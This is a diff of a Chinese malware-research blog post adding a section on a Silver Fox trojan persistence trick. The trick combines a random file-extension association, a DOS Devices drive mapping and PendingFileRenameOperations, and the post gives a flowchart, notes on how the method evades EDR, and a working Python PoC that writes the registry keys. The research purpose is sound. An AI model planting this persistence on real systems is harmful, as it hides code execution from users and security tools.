@@ -4,6 +4,7 @@ date: 2025-12-15 18:00:00 -0500
44categories : [Research]
55tags : [malware, trojan, silver-fox, winos, apt, malware-analysis, poc]
66description : 列举了一些银狐木马常用对抗杀软/EDR手段以及代码实现.
7+ mermaid : true
78media_subpath : /assets/img/2025-12-15-silver-fox-poc-2025
89---
910
@@ -439,3 +440,171 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
439440
440441根据腾讯安全的[分析报告](https://www.freebuf.com/articles/vuls/438775.html),银狐木马在实战中采用了完全相同的对抗手段,通过滥用 WDAC 策略来禁用目标机器上的安全防护软件。
441442
443+ ## 文件关联 + DOS 设备重定向 + 延迟移动实现自启动
444+
445+ 根据腾讯安全的[分析报告](https://www.freebuf.com/articles/vuls/438775.html),银狐使用了一个相当隐蔽的持久化技术。其核心思路是利用 Windows 系统启动过程中的几个合法功能组合(File Associations、DOS Devices Redirect、PendingFileRenameOperations),巧妙地绕过常规监控,达到自启动的目的。
446+
447+ 为了验证这一机制,我使用 Python 编写了一个快速的概念验证(POC)。
448+
449+ ### 攻击流程图
450+
451+ ```mermaid
452+ flowchart TD
453+ subgraph Init [首次执行(需管理员权限)]
454+ direction TB
455+ A[1. 创建 reboot.xxxx 文件]
456+ B[2. 注册 .xxxx → sf-demo 关联]
457+ C[3. sf-demo\shell\open\command → 本地 python.exe]
458+ D[4. 创建 X: → Common Startup 的 DOS Device 映射]
459+ E[5. 添加 PendingFileRenameOperations: 文件 → X:\Startup]
460+ A --> B --> C --> D --> E
461+ end
462+
463+ Init -->|系统重启| SMSS
464+
465+ subgraph SMSS [SMSS.exe 处理阶段]
466+ direction TB
467+ F[1. DOS Devices 映射生效 (X: 指向启动目录)]
468+ G[2. PendingFileRenameOperations 执行文件移动]
469+ H[3. reboot.xxxx 被移动到公共启动目录]
470+ F --> G --> H
471+ end
472+
473+ SMSS -->|用户登录| Trigger
474+
475+ subgraph Trigger [自启动触发]
476+ direction TB
477+ I[Explorer 处理启动目录,打开 reboot.xxxx]
478+ J[文件关联触发 python.exe reboot.xxxx]
479+ K[恶意代码执行]
480+ I --> J --> K
481+ end
482+ ```
483+
484+ ### 具体实现步骤
485+
486+ 整个攻击链条设计得非常精巧,主要分为以下几个阶段:
487+
488+ 1 . 攻击者首先在目标系统上生成一个空文件,文件名固定为 ` reboot ` ,但扩展名是随机生成的四个字母(例如 ` reboot.qmtk ` )。这个随机扩展名是整个攻击链的关键标识符,系统中不太可能存在对这种扩展名的已有关联。
489+
490+ 2 . 在注册表 ` HKEY_CLASSES_ROOT ` 下创建以这个随机扩展名为名的键,将其默认值指向一个自定义的程序标识符 ` sf-demo ` 。随后,为 ` sf-demo ` 创建完整的 ` shell\open\command ` 结构,命令内容指向攻击者放置在脚本同目录下的 ` python.exe ` ,并将文件路径作为参数传入。
491+ > ** 目的** :确保系统知道遇到这个随机扩展名的文件时,应该使用指定的 Python 解释器打开。
492+
493+ 3 . 通过向 ` Session Manager ` 下的 ` DOS Devices ` 键写入一个新值,将一个未被使用的盘符(如 ` X: ` )映射到系统的公共开始菜单 ` Programs ` 目录。
494+ > ** 注意** :这个映射不会立即生效,而是在下次系统启动时由会话管理器(SMSS)处理。
495+
496+ 4 . 攻击者将一对路径写入 ` PendingFileRenameOperations ` 注册表值。源路径是之前创建的那个带随机扩展名的文件,目标路径则使用刚才映射的虚拟盘符加上 ` Startup ` 子目录(例如 ` X:\Startup\reboot.qmtk ` )。
497+ > ** 机制** :这个注册表值专门用于记录需要在重启时执行的文件操作(常用于 Windows 更新或驱动安装)。
498+
499+ ### 重启后的执行逻辑
500+
501+ 当系统重启时,Windows 会话管理器(SMSS.exe)在启动早期阶段开始工作:
502+
503+ 1 . 首先处理 ` DOS Devices ` 中的映射关系,使虚拟盘符 ` X: ` 生效并指向公共启动目录。
504+ 2 . 紧接着处理 ` PendingFileRenameOperations ` 中记录的操作,将恶意文件移动到目标位置。由于虚拟盘符此时已经生效,目标路径能够正确解析,文件最终落入公共启动目录的 ` Startup ` 子文件夹中。
505+ 3 . 用户登录后,Explorer 进程按照正常流程枚举启动目录中的文件并尝试打开它们。当它遇到 ` reboot.qmtk ` 时,查询注册表找到对应的文件关联,最终启动 Python 解释器执行恶意代码。
506+
507+ ### 隐蔽性
508+
509+ 这种多阶段的持久化技术相比传统的注册表 Run 键或计划任务,具有显著的隐蔽性:
510+
511+ * 安全软件通常重点监控 ` Run ` 键、启动文件夹的直接写入等敏感位置。此方法不直接触碰这些位置,而是通过“延迟移动”间接达成目标。且文件移动发生在系统启动早期,此时大多数安全软件的用户态组件尚未加载。
512+ * ` PendingFileRenameOperations ` 和 ` DOS Devices ` 映射均是 Windows 系统的合法功能。这些操作在日志中看起来像是正常的系统行为(如软件安装或更新),极易被安全分析师忽略。
513+ * 使用随机扩展名避开了基于文件类型的黑名单检测,同时不会污染常见文件关联(如 ` .exe ` , ` .bat ` ),降低了被用户意外发现的概率。
514+ * 使用公共启动目录(Common Startup)意味着恶意代码会在** 所有** 用户登录时执行,非常适合横向移动或建立稳固据点。
515+ * 调查人员需要同时理解文件关联、DOS 设备映射和延迟文件操作这三个独立系统的交互关系,才能还原完整的攻击链。单独查看任何一个注册表修改都不具备明显的恶意特征。
516+
517+ ### 代码实现
518+
519+ 以下是使用 Python 复现该技术的 POC 代码:
520+
521+ ``` python
522+ import os
523+ import random
524+ import string
525+ import winreg
526+ from pathlib import Path
527+ from ctypes import create_unicode_buffer, windll
528+
529+ def gen_empty_random_ext (dir_path : str | os.PathLike | None = None ) -> Path:
530+ """ 生成带有随机扩展名的空文件"""
531+ letters = ' ' .join(random.choice(string.ascii_lowercase) for _ in range (4 ))
532+ base = " reboot" # 文件名可自定义
533+ dirp = Path(dir_path) if dir_path else Path.cwd()
534+ dirp.mkdir(parents = True , exist_ok = True )
535+ p = dirp / f " { base} . { letters} "
536+ p.touch(exist_ok = True )
537+ return p
538+
539+ def reg_map_extension_to_sfdemo (ext : str ) -> None :
540+ """ 注册文件扩展名关联"""
541+ if ext.startswith(' .' ):
542+ ext = ext[1 :]
543+ if not (len (ext) == 4 and ext.isalpha()):
544+ raise ValueError (" ext must be a 4-letter alphabetic extension" )
545+
546+ key_path = fr " . { ext} "
547+ with winreg.CreateKeyEx(winreg.HKEY_CLASSES_ROOT , key_path, 0 , winreg.KEY_SET_VALUE ) as k:
548+ winreg.SetValueEx(k, None , 0 , winreg.REG_SZ , " sf-demo" ) # (Default) value
549+
550+ def reg_set_sfdemo_open_to_local_python () -> None :
551+ """ 设置关联程序的打开命令"""
552+ script_dir = Path(__file__ ).resolve().parent
553+ python_exe = script_dir / " python.exe"
554+ if not python_exe.exists():
555+ raise FileNotFoundError (f " 'python.exe' not found next to this script: { python_exe} " )
556+
557+ cmd = f ' " { python_exe} " "%1" '
558+ key_path = r " sf-demo\s hell\o pen\c ommand"
559+ with winreg.CreateKeyEx(winreg.HKEY_CLASSES_ROOT , key_path, 0 , winreg.KEY_SET_VALUE ) as k:
560+ winreg.SetValueEx(k, None , 0 , winreg.REG_SZ , cmd)
561+
562+ def map_drive_to_common_programs (letter : str ) -> None :
563+ """ 映射 DOS Device 盘符到公共程序目录"""
564+ if not letter:
565+ raise ValueError (" letter is required" )
566+ drive = (letter[0 ].upper() + " :" )
567+ if not (' A' <= drive[0 ] <= ' Z' ):
568+ raise ValueError (" letter must be A–Z" )
569+
570+ # 获取 Common Programs 路径 (e.g., C:\ProgramData\Microsoft\Windows\Start Menu\Programs)
571+ CSIDL_COMMON_PROGRAMS = 0x 0017
572+ buf = create_unicode_buffer(260 )
573+ hr = windll.shell32.SHGetFolderPathW(0 , CSIDL_COMMON_PROGRAMS , 0 , 0 , buf)
574+ if hr != 0 :
575+ raise OSError (f " SHGetFolderPathW failed with HRESULT { hr:#x } " )
576+ target_path = buf.value
577+
578+ key_path = r " SYSTEM\C urrentControlSet\C ontrol\S ession Manager\D OS Devices"
579+ access = winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY
580+ with winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE , key_path, 0 , access) as k:
581+ winreg.SetValueEx(k, drive, 0 , winreg.REG_SZ , " \\ ??\\ " + target_path)
582+
583+ def queue_move_to_startup (p : Path, drive_label : str ) -> None :
584+ """ 添加 PendingFileRenameOperations 延迟移动操作"""
585+ if not isinstance (p, Path):
586+ p = Path(p)
587+ src_abs = p.resolve(strict = False )
588+
589+ d = (drive_label[0 ].upper() + " :" )
590+ if not (' A' <= d[0 ] <= ' Z' ):
591+ raise ValueError (" drive_label must start with A–Z" )
592+
593+ # 构造 PendingFileRenameOperations 所需的源路径和目标路径
594+ # 注意:目标路径使用了我们映射的虚拟盘符
595+ src = " \\ ??\\ " + str (src_abs)
596+ dst = " \\ ??\\ " + f " { d} \\ Startup \\ { p.name} "
597+
598+ key_path = r " SYSTEM\C urrentControlSet\C ontrol\S ession Manager"
599+ access = winreg.KEY_SET_VALUE | winreg.KEY_QUERY_VALUE | winreg.KEY_WOW64_64KEY
600+ with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE , key_path, 0 , access) as k:
601+ try :
602+ existing, vtype = winreg.QueryValueEx(k, " PendingFileRenameOperations" )
603+ if vtype != winreg.REG_MULTI_SZ :
604+ existing = []
605+ except FileNotFoundError :
606+ existing = []
607+
608+ new_list = list (existing) + [src, dst]
609+ winreg.SetValueEx(k, " PendingFileRenameOperations" , 0 , winreg.REG_MULTI_SZ , new_list)
610+ ```
0 commit comments